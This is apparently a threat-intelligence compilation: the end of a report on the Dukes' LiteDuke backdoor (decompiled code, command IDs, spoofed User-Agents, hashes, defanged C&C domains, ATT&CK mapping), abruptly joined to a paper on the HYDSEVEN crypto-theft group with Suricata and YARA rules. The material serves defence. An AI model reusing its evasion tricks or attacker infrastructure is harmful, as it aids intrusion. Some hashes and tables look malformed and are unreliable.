Similarly, the modules, which are plug-ins for the backdoor, are stored in the database. Since the database is encrypted, the modules never touch the disk in plaintext and will only be loaded into memory. Unfortunately, we have not yet been able to find any of the plug-ins used by LiteDuke.

One artefact of the development method is the implementation of the backdoor commands. Usually, a backdoor will have a big switch statement to check the command sent by the C&C server against the list of commands implemented in the malware. In the case of LiteDuke, it is a succession of loops: one loop per implemented command, as shown in Figure 42.

```assembly
while (1)
{
    id = *cmd_id_list;
    cmd_id_list = *(cmd_id_list + 1);
    if (id == command_id)
        break;
    input = 0;
    sscanf(src, str_pattern, &input);
    v15 = VirtualAlloc(0, 512, 12288, 4);
    new_current_directory = v15;
    MultiByteToWideChar(v16, HDWORD(v15), 65001, 0, &input, -1, v15, 512);
    if (Backdoor::SetCurrentDirectory(new_current_directory))
        lststrcpy(v117, aOK);
    else
        lststrcpy(v117, aError);
    VirtualFree(new_current_directory, 0, 0x8000);
    goto LABEL_296;
}
while (1)
{
    id = *cmd_id_list;
    cmd_id_list = *(cmd_id_list + 1);
}
```

Figure 42. Multiple while loops instead of a backdoor switch case

Each of the 41 different commands has between three and six possible command IDs. The program will loop successively on the list until the ID in the list matches the ID provided by the operator. The full list is available in Figure 43.

```assembly
list_of_cmd_id dd 0A8615B00h, 0E34075D0h, 30F80000h, 0AC051768h, 0DF3B0000h
    ; DATA XREF: f_network[414h]
dd 6A6Fh, 75A3B4C3h, 0C741CD8h, 0A580h, 0FF72973h, 695E3FDC
dd 0A81B8h, 0ADDFF289h, 0EB3B0000h, 311C6h, 0D4BF2DC9h, 7B44643Ch
dd 0CE95A5B8h, 0F9C0000h, 2F1CA24Ah, 0CD84h, 4C3F0D7h
dd 20000000, 72B622B1h, 00044A400h, 5C500000h, 4EE7CA42h
dd 07E10Ah, 6C84C08Ch, 0A5B9948h, 174E0000h, 9F13849Ah
dd 73704A48h, 009Dh, 00EF410Ah, 78BB95DC9h, B395h, 0D0B1FA0Bh
dd 480E232F5h, 0BEF4h, 0D5907627h, 2BE2F5C8h, 0FCB2000h
dd 81EE3F58h, 3594h, 7C5C42E8h, 0C0558543h, 90A50000h
dd 0F0229E63h, 3108h, 0AC0D7B58h, 07092A80h, 0C600h, 14A04BCh
dd 0D55C6D5h, 7BA0h, 0DA285E8h, 70589E2h, 73887D8h
dd 00202000h, 04A8h, 0073489E2h, 1A169C8h, 00BA40000h
dd 618Ah, 39940F28h, 04D5A86C7h, 0EBCC04F7h, 0E9400000h
dd 08400h, 5E802B6Ah, 0004E5596h, 9618C963h, 18900000h
dd 2551E740h, 2BEEAF3h, 089903000h, 081CD0DF8h, 65150000h
dd 0B9D7F08h, 2B760000h, 00DE575D2h, 43A40000h, 00089F20h
dd 08E3C0000h, 05422244h, 0BB553247h, 29D00000h, 94A747F2h
dd 43200000h, 2D0A3486h, 0BC9A55Feh, 72C90000h, 5AF4150h
dd 98354C79h, 0E8900000h, 0E951C8F7h, 8A8D414Ah, 9548h
dd 26E01F5h, 04A8h, 00DF6740h, 0CD3A80h, 0C8A9h
```

Figure 43. List of LiteDuke command IDs
Given the large number of different commands, we won’t list them all. Basically, the backdoor can:

- Upload or download files
- Securely delete a file by first writing random data (from a linear congruential generator) to the file
- Update the database (config, modules and objects)
- Create a process
- Get system information (CPUID, BIOS version, account name, etc.)
- Terminate itself

The network part of the backdoor is relatively simple. It uses GET requests to contact either the hardcoded C&C URL or the one stored in the database. Figure 44 shows the domain, resources and parameters used by LiteDuke.

Among the different samples we analyzed, the C&C domains are different, but they always use a script named `rcv_get.php`. We believe that the C&C domains are compromised servers.

In order to blend into the network traffic, and similar to FatDuke, the malware checks the default browser and chooses its User-Agent request header accordingly, as shown in Table 7. It can also get the proxy configuration from Firefox, in the configuration file `prej.js`, or from Opera, in the `operaprefs.ini` file. This information is then used when establishing a connection to the C&C server.

<table>
<thead>
<tr>
<th>Default Browser</th>
<th>User-Agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Explorer</td>
<td>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729)</td>
</tr>
<tr>
<td>Firefox</td>
<td>Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0</td>
</tr>
<tr>
<td>Chrome</td>
<td>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13(KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13</td>
</tr>
<tr>
<td>Safari</td>
<td>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4</td>
</tr>
<tr>
<td>Opera</td>
<td>Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.7.62 Version/11.01</td>
</tr>
</tbody>
</table>

Table 7. User-Agent strings used by LiteDuke

As one can see, some of these user agents are custom and they all refer to very old browsers, most of them released in 2011. It is also way less stealthy than with FatDuke’s sniffing of the real User-Agent used by the local browser. This reinforces our hypothesis that this backdoor was used many years ago and is no longer deployed in the wild.
4. Conclusion

Operation Ghost shows that the Dukes never stopped their espionage activities. They were in the spotlight after the breach of the Democratic National Committee during the 2016 US presidential elections. However, they then recovered from that media attention and rebuilt most of their toolset.

Using these new tools and previously used techniques, such as leveraging Twitter and steganography, they were able to breach Foreign Affairs Ministries of several European governments.

This campaign also shows that APT threat actors going dark for several years does not mean they have stopped spying. They might pause for a while and re-appear in another form, but they still need to spy to fulfill their mandates.

To help defenders better protect their networks, we will continue to monitor the Dukes' developments.

Indicators of Compromise can also be found on GitHub. For any inquiries, or to make sample submissions related to the subject, contact us at: threatintel@eset.com

5. Bibliography


6. Indicators of Compromise

6.1 Hashes

<table>
<thead>
<tr>
<th>Component</th>
<th>SHA-1</th>
<th>Compilation Date</th>
<th>ESET detection name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PolyglotDuke</td>
<td>4BA559C463FF5F5C52571A9E061E4FF6CF0A5F6</td>
<td>07/07/2014</td>
<td>Win32/Agent.ZWH</td>
</tr>
<tr>
<td></td>
<td>CF14AC56A963DF21A412BFCF3751C21D0E5E5775F395</td>
<td>07/06/2017</td>
<td>Win32/Agent.AAPY</td>
</tr>
<tr>
<td></td>
<td>539D021C7D981539A5E1132ECAAB7164ED5D0B5</td>
<td>07/06/2017</td>
<td>Win32/Agent.ZWH</td>
</tr>
<tr>
<td></td>
<td>0E25EE58B119ED48B7C9391879294AAC3F4C433F50</td>
<td>07/08/2017</td>
<td>Win64/Agent.OL</td>
</tr>
<tr>
<td></td>
<td>D625C7CE9DC7E56A29EC9A816502808EDC6189616</td>
<td>19/10/2018</td>
<td>Win64/Agent.OL</td>
</tr>
<tr>
<td>RegDuke</td>
<td>0A5A7D4AD0F2E05F3577FD43A4C55DDC1D880CF</td>
<td>21/12/2017</td>
<td>MSIL/Tiny.BG</td>
</tr>
<tr>
<td>Loader</td>
<td>F7FD3C0534DF717FD5325DA3759797CE4065F</td>
<td>10/07/2018</td>
<td>MSIL/Tiny.BG</td>
</tr>
<tr>
<td></td>
<td>194D802E2A4C723CE5FE11CD9CF6B8A32DC7F66</td>
<td>29/08/2018</td>
<td>MSIL/Agent.TGC</td>
</tr>
<tr>
<td></td>
<td>64D61C1FF2C2AD1AC53E879294AFC751316176</td>
<td>01/10/2018</td>
<td>MSIL/Agent.SVP</td>
</tr>
<tr>
<td></td>
<td>6ACC0B123B3038F8CF461526797D0360D69E1A849</td>
<td>25/10/2018</td>
<td>MSIL/Agent.SXO</td>
</tr>
<tr>
<td></td>
<td>170E8566902631C1F5C8A2D4817D850D3A3F6</td>
<td>01/12/2018</td>
<td>MSIL/Agent.SVC</td>
</tr>
<tr>
<td>RegDuke</td>
<td>5905C1189C683BC37584E16C494CD1C</td>
<td>29/08/2018</td>
<td>MSIL/Agent.CAW</td>
</tr>
<tr>
<td>Loader</td>
<td>MiniDuke</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>B85CABA46108C6ED8BD8237F318S77E98CD6047</td>
<td>17/08/2018</td>
<td>Win32/Agent.TSG</td>
</tr>
<tr>
<td></td>
<td>718C61E7606C585297B4D0E7D0838B73456</td>
<td>24/06/2019</td>
<td>Win32/Agent.TUF</td>
</tr>
<tr>
<td>FatDuke</td>
<td>A88D2ADDE33775F7ABC6DFB3AD5D48EBEAEDE1</td>
<td>03/05/2017</td>
<td>Win32/Agent.TSH</td>
</tr>
<tr>
<td></td>
<td>D8191711B239EF60E8E382B26EAD652E7A4AAFA</td>
<td>22/05/2019</td>
<td>Win32/Agent.TSH</td>
</tr>
<tr>
<td>FatDuke</td>
<td>9E96808E97E89A44269889E0D97142EEDC</td>
<td>19/04/2019</td>
<td>Win32/Agent.AAPY</td>
</tr>
<tr>
<td>Loader</td>
<td>LiteDuke</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>AF246D4171CE632E269FEA1959E8AF43C9CE</td>
<td>02/10/2014</td>
<td>Win32/Agent.AART</td>
</tr>
</tbody>
</table>

6.2 Network

6.2.1 DOMAINS

<table>
<thead>
<tr>
<th>Component</th>
<th>Domain</th>
<th>Component</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>PolyglotDuke</td>
<td>acciaio.com[.]br</td>
<td>MiniDuke</td>
<td>ecoesndmessines[.]org</td>
</tr>
<tr>
<td></td>
<td>ceycarb[.]com</td>
<td></td>
<td>salesappliances[.]com</td>
</tr>
<tr>
<td></td>
<td>coachandcook[.]at</td>
<td>FatDuke</td>
<td>busseylawoffice[.]com</td>
</tr>
<tr>
<td></td>
<td>fisioterapiabb[.]lt</td>
<td></td>
<td>fairfieldsch[.]org</td>
</tr>
<tr>
<td></td>
<td>lorriratzi[.]com</td>
<td></td>
<td>ministernetwork[.]org</td>
</tr>
<tr>
<td></td>
<td>mavin21c.dotcome.co[.]kr</td>
<td></td>
<td>skagenyoga[.]com</td>
</tr>
<tr>
<td></td>
<td>motherlodebulldogclub[.]com</td>
<td></td>
<td>westmedicalgroup[.]net</td>
</tr>
<tr>
<td></td>
<td>powerpolymerindustry[.]com</td>
<td>LiteDuke</td>
<td>bandabonga[.]fr</td>
</tr>
<tr>
<td></td>
<td>publiccouncil[.]org</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>rulourialuminiu.co[.]uk</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>sistemikan[.]com</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>varuhusmc[.]org</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## 6.2.2 PUBLIC WEBPAGES USED BY POLYGLOTDUKE

- [http://ibb.co/hVhaAq](http://ibb.co/hVhaAq)
- [http://imgur.com/1RzfF7r](http://imgur.com/1RzfF7r)
- [http://imgur.com/d6jspKp](http://imgur.com/d6jspKp)
- [http://imgur.com/d408Kl8](http://imgur.com/d408Kl8)
- [http://imgur.com/D6U96Ci](http://imgur.com/D6U96Ci)
- [http://imgur.com/GZ5K9zi](http://imgur.com/GZ5K9zi)
- [http://imgur.com/wcMk7a2](http://imgur.com/wcMk7a2)
- [http://imgur.com/WMTw5MO](http://imgur.com/WMTw5MO)
- [http://imgur.com/WOKH0nk](http://imgur.com/WOKH0nk)
- [http://imgur.com/XFa7eE1](http://imgur.com/XFa7eE1)
- [http://jack998899jack.imgur.com](http://jack998899jack.imgur.com)
- [http://simp[.]ly/pubish/p8n8Jt](http://simp[.]ly/pubish/p8n8Jt)
- [http://thinkery[.]me/](http://thinkery[.]me/)
- [billywilliams/5a017961cb602262f0000d2c](http://billywilliams/5a017961cb602262f0000d2c)
- [http://twitter[.]com/aimeefleming25](http://twitter[.]com/aimeefleming25)
- [http://twitter[.]com/hen_rivero](http://twitter[.]com/hen_rivero)
- [http://twitter[.]com/KarimM_traveler](http://twitter[.]com/KarimM_traveler)
- [http://twitter[.]com/lergs5v011](http://twitter[.]com/lergs5v011)
- [http://twitter[.]com/m63vhd7ach3](http://twitter[.]com/m63vhd7ach3)
- [http://twitter[.]com/MarlinFarin](http://twitter[.]com/MarlinFarin)
- [http://twitter[.]com/np8j7ovq1](http://twitter[.]com/np8j7ovq1)
- [http://twitter[.]com/q5euny5fu5](http://twitter[.]com/q5euny5fu5)
- [http://twitter[.]com/q1stP743ll](http://twitter[.]com/q1stP743ll)
- [http://twitter[.]com/t8t842IO2](http://twitter[.]com/t8t842IO2)
- [http://twitter[.]com/ua6iyxvkfv](http://twitter[.]com/ua6iyxvkfv)
- [http://twitter[.]com/utyi5askob2](http://twitter[.]com/utyi5askob2)
- [http://twitter[.]com/vgmmmyqaq](http://twitter[.]com/vgmmmyqaq)
- [http://twitter[.]com/vwvc63tgz](http://twitter[.]com/vwvc63tgz)
- [http://twitter[.]com/wekcdskg2ra](http://twitter[.]com/wekcdskg2ra)
- [http://twitter[.]com/xzg3a2e2z](http://twitter[.]com/xzg3a2e2z)
- [http://twitter[.]com/g1h4uwi26](http://twitter[.]com/g1h4uwi26)
- [http://twitter[.]com/gf3z425rr0](http://twitter[.]com/gf3z425rr0)
- [http://twitter[.]com/1Antf47xfw](http://twitter[.]com/1Antf47xfw)
- [http://twitter[.]com/joannev1/121000000000030009](http://twitter[.]com/joannev1/121000000000030009)
- [http://twitter[.]com/o2rh2szx7pu](http://twitter[.]com/o2rh2szx7pu)
- [http://twitter[.]com/q4tuSIZx9xb](http://twitter[.]com/q4tuSIZx9xb)
- [http://twitter[.]com/rpnn18016s16](http://twitter[.]com/rpnn18016s16)
- [http://twitter[.]com/shx8vypUB](http://twitter[.]com/shx8vypUB)
- [http://twitter[.]com/u99all1w5g](http://twitter[.]com/u99all1w5g)
- [http://twitter[.]com/uq44yj4J9m8](http://twitter[.]com/uq44yj4J9m8)
- [http://twitter[.]com/vq2p34](http://twitter[.]com/vq2p34)
- [http://twitter[.]com/vZ1g3WmWU](http://twitter[.]com/vZ1g3WmWU)
- [http://twitter[.]com/zu20fs5vYf6](http://twitter[.]com/zu20fs5vYf6)
- [http://twitter[.]com/7GWS_](http://twitter[.]com/7GWS_)
- [rd:ss1#q-Heloifjskghwe+Hjwferwkbw](http://twitter[.]com/7GWS_)
- [http://www.reddit[.]com/user/BeaumontV/](http://www.reddit[.]com/user/BeaumontV/)
- [http://www.reddit[.]com/user/StevensThomasWis/](http://www.reddit[.]com/user/StevensThomasWis/)

## 7. MITRE ATT&CK techniques

<table>
<thead>
<tr>
<th>Tactic</th>
<th>ID</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Initial Access</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1193</td>
<td>Spearphishing Attachment</td>
<td>The Dukes likely used spearphishing emails to compromise the target.</td>
<td></td>
</tr>
<tr>
<td>T1078</td>
<td>Valid Accounts</td>
<td>Operators use account credentials previously stolen to come back on the victim's network.</td>
<td></td>
</tr>
<tr>
<td><strong>Execution</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1106</td>
<td>Execution through API</td>
<td>They use CreateProcess or LoadLibrary Windows APIs to execute binaries.</td>
<td></td>
</tr>
<tr>
<td>T1129</td>
<td>Execution through Module Load</td>
<td>Some of their malware load DLL using LoadLibrary Windows API.</td>
<td></td>
</tr>
<tr>
<td>T1086</td>
<td>PowerShell</td>
<td>FatDuke can execute PowerShell scripts.</td>
<td></td>
</tr>
<tr>
<td>T1085</td>
<td>Rundll32</td>
<td>The FatDuke loader uses rundll32 to execute the main DLL.</td>
<td></td>
</tr>
<tr>
<td>T1064</td>
<td>Scripting</td>
<td>FatDuke can execute PowerShell scripts.</td>
<td></td>
</tr>
<tr>
<td>T1035</td>
<td>Service Execution</td>
<td>The Dukes use PsExec to execute binaries on remote hosts.</td>
<td></td>
</tr>
<tr>
<td><strong>Persistence</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1060</td>
<td>Registry Run Keys / Startup Folder</td>
<td>The Dukes use the CurrentVersion\Run registry key to establish persistence on compromised computers.</td>
<td></td>
</tr>
<tr>
<td>T1053</td>
<td>Scheduled Task</td>
<td>The Dukes use Scheduled Task to launch malware at startup.</td>
<td></td>
</tr>
<tr>
<td>T1078</td>
<td>Valid Accounts</td>
<td>The Dukes use account credentials previously stolen to come back on the victim's network.</td>
<td></td>
</tr>
<tr>
<td>T1084</td>
<td>Windows Management Instrumentation Event Subscription</td>
<td>The Dukes used WMI to establish persistence for RegDuke.</td>
<td></td>
</tr>
<tr>
<td>Tactic</td>
<td>ID</td>
<td>Name</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------</td>
<td>-----</td>
<td>---------------------------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td><strong>Defense</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1140</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>The droppers for PolyglotDuke and LiteDuke embed encrypted payloads.</td>
</tr>
<tr>
<td></td>
<td>T1107</td>
<td>File Deletion</td>
<td>The Dukes malware can delete files and directories.</td>
</tr>
<tr>
<td></td>
<td>T1112</td>
<td>Modify Registry</td>
<td>The keys used to decrypt RegDuke payloads are stored in the Windows registry.</td>
</tr>
<tr>
<td></td>
<td>T1027</td>
<td>Obfuscated Files or Information</td>
<td>The Dukes encrypts PolyglotDuke and LiteDuke payloads with custom algorithms. They also rely on known obfuscation techniques such as opaque predicates and control flow flattening to obfuscate RegDuke, MiniDuke and FatDuke.</td>
</tr>
<tr>
<td></td>
<td>T1085</td>
<td>Rundll32</td>
<td>The FatDuke loader uses rundll32 to execute the main DLL.</td>
</tr>
<tr>
<td></td>
<td>T1064</td>
<td>Scripting</td>
<td>FatDuke can execute PowerShell scripts.</td>
</tr>
<tr>
<td></td>
<td>T1045</td>
<td>Software Packing</td>
<td>The Dukes use a custom packer to obfuscate MiniDuke and FatDuke binaries. They also use the commercial packer .NET Reactor to obfuscate RegDuke.</td>
</tr>
<tr>
<td></td>
<td>T1078</td>
<td>Valid Accounts</td>
<td>The Dukes use account credentials previously stolen to come back on the victim's network.</td>
</tr>
<tr>
<td></td>
<td>T1102</td>
<td>Web Service</td>
<td>PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.) to get encrypted strings leading to new C&amp;C server. For RegDuke, they also use Dropbox as a C&amp;C server.</td>
</tr>
<tr>
<td><strong>Evasion</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1083</td>
<td>File and Directory Discovery</td>
<td>The Dukes can interact with files and directories on the victim's computer.</td>
</tr>
<tr>
<td></td>
<td>T1135</td>
<td>Network Share Discovery</td>
<td>The Dukes can list network shares.</td>
</tr>
<tr>
<td></td>
<td>T1057</td>
<td>Process Discovery</td>
<td>The Dukes can list running processes.</td>
</tr>
<tr>
<td></td>
<td>T1049</td>
<td>System Network Connections Discovery</td>
<td>The Dukes can execute commands like net use to gather information on network connections.</td>
</tr>
<tr>
<td><strong>Discovery</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1077</td>
<td>Windows Admin Shares</td>
<td>The Dukes use PsExec to execute binaries on a remote host.</td>
</tr>
<tr>
<td><strong>Lateral Movement</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1077</td>
<td>Windows Admin Shares</td>
<td>The Dukes use PsExec to execute binaries on a remote host.</td>
</tr>
<tr>
<td></td>
<td>T1005</td>
<td>Data from Local System</td>
<td>The Dukes can collect files on the compromised machines</td>
</tr>
<tr>
<td></td>
<td>T1039</td>
<td>Data from Network Shared Drive</td>
<td>The Dukes can collect files on shared drives.</td>
</tr>
<tr>
<td></td>
<td>T1025</td>
<td>Data from Removable Media</td>
<td>The Dukes can collect files on removable drives.</td>
</tr>
<tr>
<td><strong>Collection</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Command and Control</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1090</td>
<td>Connection Proxy</td>
<td>The Dukes can communicate to the C&amp;C server via proxy. They also use named pipes as proxies when a machine is isolated within a network and does not have direct access to the internet.</td>
</tr>
<tr>
<td></td>
<td>T1001</td>
<td>Data Obfuscation</td>
<td>The Dukes use steganography to hide payloads and commands inside valid images.</td>
</tr>
<tr>
<td></td>
<td>T1008</td>
<td>Fallback Channels</td>
<td>The Dukes have multiple C&amp;C servers in case one of them is down.</td>
</tr>
<tr>
<td></td>
<td>T1071</td>
<td>Standard Application Layer Protocol</td>
<td>The Dukes are using HTTP and HTTPS protocols to communicate with the C&amp;C server.</td>
</tr>
<tr>
<td></td>
<td>T1102</td>
<td>Web Service</td>
<td>PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.) to get encrypted strings leading to new C&amp;C server. For RegDuke, they also use Dropbox as a C&amp;C server.</td>
</tr>
<tr>
<td><strong>Exfiltration</strong></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
More about HYDSEVEN adversary and cryptocurrency threat

Yoshihiro Ishikawa / LAC Cyber Emergency Center

Abstract

Nowadays, with the growing interest in cryptocurrency (Crypto Asset), cyber attack incidents targeting this vector are taking place actively. The cryptocurrency stealing scheme by directly compromising its entities infrastructure has increased the damage to a reported amount of US$882 million, it is a huge amount of money that has been illegally stolen in the history of cyber security industry can not be ignored. And the attacks keep on occurring in 2019 too.

We will explain our published research\textsuperscript{[1]} about the usage of malware behind this threat's alleged cyber adversary group "HYDSEVEN" under investigation on several reported attacks and incidents reported since 2016. The report described its intrusion (the usage of downloader, fake software installer, exploit on vulnerabilities and several VBA macro tricks), to the end game using the RAT variants of custom NetWire and Ekoms (Mokes) malware, bottom-lining the TTP (Tools, Techniques, and Procedures) that can be used to identify this adversary group. In this presentation we will disclose several new contents that are not covered in our published report.

Yoshihiro Ishikawa is a member of the Cyber Emergency Center of LAC., he has engaged in malware analysis and cyber threat intelligence. esp. Advanced Persistent Threat (APT) attacks. He was a speaker at botconf, HITCON, APCERT. He is also currently positioned as the Program Committee member of Japan Security Analyst Conference hosted by JPCERT/CC in Japan.
1. Cryptocurrency Stealing Incidents Timeline

Fig.1 shows an overview of the activity of the HYDSEVEN in targeting cryptocurrency which has been occurred from August 2016 through Jun 2019. We have confirmed many incidents caused by the adversary happened in 2016 and 2017, and these attacks continue in 2019. The most popular scheme used to initially infiltrate the victim’s system by the attackers is spear-phishing emails. In those emails HYDSEVEN is spoofing fake the identity of university officials or researchers or other identities to convince the victims. The targeted victim computers can be compromised in a certain of ways, such as exploitation through execution of VBA macro code in attached Office document files, exploitation through software vulnerabilities and fake software installers that needed to be downloaded from the link in the sent spear phishing. In incident(s) in June 2019[2], there were two Firefox 0-day vulnerabilities were exploited, this is also matched to the TTP of HYDSEVEN adversary that is known of their high skilled method of attacks.

![HYDSEVEN activity Timeline](image)

Figure 1. HYDSEVEN activity Timeline
2. Threat Summary

HYDSEVEN steals cryptocurrency with three attacking methods such as:

- Camouflage of legitimate application installers,
- Embedded macros in Office files

2.1 Exploitation by VBA macro

The exploitation using VBA macros are confirmed at incidents in August and December 2016, and Fig. 2 illustrates the flow of attacks used during these periods. See "Exploitation by VBA macro" chapter on "The shadow behind Cryptocurrency Stealing Attacks".[1]

2.2 Exploitation via software vulnerabilities

Attack techniques that exploit software vulnerabilities are confirmed in February 2017, September 2017, March 2019 and June 2019. Fig. 3 illustrates the flow of attacks analysis on each event, showing that different exploitation techniques on software vulnerabilities has been utilized on each incident. See "Exploitation via software vulnerabilities" chapter on "The shadow behind Cryptocurrency Stealing Attacks".[1]
2.3 The fake installer

The attack efforts to impersonate legitimate software's installer by spear-phishing emails with malicious download links are confirmed in November 2016, October 2017, and February 2019. In these attempts, the software installers of a Vast Conference's WEB Meeting software (WebMeeting), or, the Statistical Analysis software (STATA) provided by StataCorp, was being tampered by adversaries for exploitation purpose. Fig.4 illustrates the attack flow using these fake installers. See "The fake installer" chapter on "The shadow behind Cryptocurrency Stealing Attacks". [1]

3. Post-Exploitation Malware

NetWire and Ekoms (Mokes) are RAT malware used as the main interface on the post exploitation steps of these attacks by the adversary, the group HYDSEVEN. Here is the table showing the comparison of function customized NetWire and commercial version ones. See report on "The shadow behind Cryptocurrency Stealing Attacks". [1]

<table>
<thead>
<tr>
<th>Functions</th>
<th>HYDSEVEN NetWire</th>
<th>Commercial NetWire</th>
</tr>
</thead>
<tbody>
<tr>
<td>Specific RC4 Key</td>
<td>Key = &quot;hyd7u5jdi8&quot;</td>
<td>No (using random keys)</td>
</tr>
<tr>
<td>NetWire version</td>
<td>v1.0? (0x1000100)</td>
<td>v1.6a (0x1066100), v1.7a (0x1076100), etc</td>
</tr>
<tr>
<td>powercat</td>
<td>Yes (Windows only)</td>
<td>No</td>
</tr>
<tr>
<td>Command prompt character code</td>
<td>Yes (Windows only)</td>
<td>No</td>
</tr>
<tr>
<td>Custom C2 traffic header</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Extra XOR Encryption C2 traffic</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Get External IP (part of bot functions)</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>AV process detection</td>
<td>Yes (&quot;ns.exe&quot; process name was aimed, Windows only)</td>
<td>No</td>
</tr>
</tbody>
</table>
4. C2 Infrastructures

This section focuses on the malware C2 servers used by adversary, the HYDSEVEN group. Many C2 servers that have been exploited are located in overseas hosting server, many of them did not register any domain name and their networking were operated by IP address basis. In the Fig.5 we illustrate the relevance of malware to the three hosting entities that HYDSEVEN frequently used, which are (OVH, 23media GmbH, Leaseweb Deutschland GmbH). In the recent analyzed incident invoking Firefox 0-day in June 2019, IP addresses managed by 23media GmbH and Leaseweb Deutschland GmbH has been exploited as a C2 servers for NetWire and Ekoms (Mokes).

![Figure 5. Malware Communication Destination (excerpt)](image)

5. Adversary background

In investigating several series of attacks, we found several landmarks that seemed credible enough to be used as footprints of HYDSEVEN. It is not one hundred percent clear whether its purpose was to deliberate construction (false flag) to disguise itself or to conceal its identity, or even there is still a slight possibility if this is a mistake and means nothing. Here are two footprints that are included in the decoy document files and the code-signing certificates left by HYDSEVEN. See "Adversary background" chapter on "The shadow behind Cryptocurrency Stealing Attacks".\[1\]

6. Detection or Mitigation

6.1 About Attackers Tactics

The adversary uses spear-phishing email to exploit the VBA macros embedded in Office document files, exploits of software vulnerabilities, and fake installers. As a basic security measure, we strongly advise "To not opening any attachments and URLs in suspicious email", "Do not enable macro carelessly", "Always update your systems such as OS, Office products, Web browser, etc". It is recommended to keep in mind that "OS, Office products, Web browser, etc. has to always be up-to-date". In addition, for the method of fake installer, check the
presence or absence of the code signing signature included in the application using Sigcheck tool[3] (Windows environment) or "codesign" command (MacOS environment) etc. Do not run the software that your entity hasn't checked those before. And also always check if the hash value is correctly matched to the legitimate software and version. If the code signing certificate is included, check if the certificate is signed by the related software vendor or confirm its expiry dates. It is recommended to stop and re-check again before executing the file. And test them in the secure environment beforehand.

6.2 About network detection

Suricata or snort can use the following rule to detect the Customized NetWire and Ekoms (mokes) C2 traffic.

For Customized NetWire

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"NetWire using HYDSEVEN registration to C2"; fragbits:D; flags:PA; content:"7f 40 00 00 00 00"; offset:0; depth:6; sid:1000000;)
```

Figure 6. Example Suricata rule of Customized NetWire

For Ekoms (Mokes)

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Ekoms using HYDSEVEN"; content: "GET /v1 HTTP/1.1"; sid:1000001;)
```

Figure 7. Example Suricata rule of Ekoms (Mokes)

6.3 About static detection

Here is a sample yara rule to detect customized NetWire and Ekoms (mokes) used by HYDSEVEN. These malware contain specific strings, that yara or other filtration signature can be produced based on it.

For Customized NetWire

```
rule netwire_hydseven {
  meta:
    author = "LAC, Inc."
  strings:
    $mz = { 4D 5A }$mac32 = { CE FA ED FE }$mac64 = { CF FA ED FE }$elf = { 7F 45 4C 46 }$str1 = "hyd7u5jd18"
  condition:
    ($mz at 0 or $elf at 0 or $mac32 at 0 or $mac64 at 0) and any of ($str1)
}
```

Figure 8. Example yara rule of Customized NetWire
For Ekoms (Mokes)

```plaintext
rule ekoms_hydseven {
  meta:
    author = "LAC, Inc."

  strings:
    $mz = { 4D 5A }
    $mac32 = { CE FA ED FE }
    $mac64 = { CF FA ED FE }
    $elf = { 7F 45 4C 46 }
    $str1 = "ccXXXXXX" ascii
    $str2 = "ekoms" ascii
    $str3 = ".aat" wide
    $str4 = ".kkt" wide
    $str5 = ".sst" wide
    $str6 = ".dde" wide

  condition:
    ($mz at 0 or $elf at 0 or $mac32 at 0 or $mac64 at 0) and
    5 of ($str*)
}
```

Figure 9. Example yara rule of Ekoms (mokes)

### 6.4 About Post-Exploitation Malware

NetWire and Ekoms (Mokes) used in the final stages of these incidents, create and execute files in the following file paths, please noted that it is depending on the actual OS environment, so if there are any suspicious executables in these directories, it is recommended that you use a service such as VirusTotal\(^4\) to investigate whether the suspected file's hash value is a legitimate file. In addition, entries for automatic malware execution are registered differently according to each OS environments. See "Detection or Mitigation" chapter on "The shadow behind Cryptocurrency Stealing Attacks".\(^1\)

### 7. Conclusion

